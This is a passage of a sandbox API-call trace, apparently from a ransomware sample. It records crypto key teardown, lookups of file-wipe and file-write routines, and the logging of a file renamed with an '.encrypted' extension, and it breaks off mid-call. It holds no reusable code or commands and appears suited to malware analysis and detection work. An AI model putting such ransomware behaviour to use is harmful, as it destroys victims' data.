lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.806] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.806] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.806] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.807] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.807] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.807] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.807] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.807] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.807] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.807] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.807] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.807] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.807] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0026.807] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.807] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.807] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.808] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.808] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.808] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.808] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.808] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.808] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.808] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.808] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.808] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.808] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.810] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.810] CharLowerBuffW (in: lpsz="byte[15531]", cchLength=0xb | out: lpsz="byte[15531]") returned 0xb [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.810] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.810] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.810] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.810] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.811] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.812] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.812] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.812] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.812] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.812] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.813] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.813] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.814] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.814] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.814] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.814] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.814] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.814] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.814] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6479) returned 1 [0026.814] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.814] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.814] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.814] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x194f, lpOverlapped=0x0) returned 1 [0026.815] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.815] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x194f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.815] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6479) returned 1 [0026.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\ecV1iYlCSS.encrypted.m4a\r\n", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0026.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\ecV1iYlCSS.encrypted.m4a\r\n", cchWideChar=54, lpMultiByteStr=0xe8f404ba10, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\ecV1iYlCSS.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 54 [0026.815] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40519f0*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40519f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x35, lpOverlapped=0x0) returned 1 [0026.815] CloseHandle (hObject=0x1fc) returned 1 [0026.816] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.816] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.817] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.817] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.817] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.817] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.817] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.818] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.818] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41783e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.818] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178580, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.819] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.819] WideCharToMultiByte (in: CodePage=0x0, 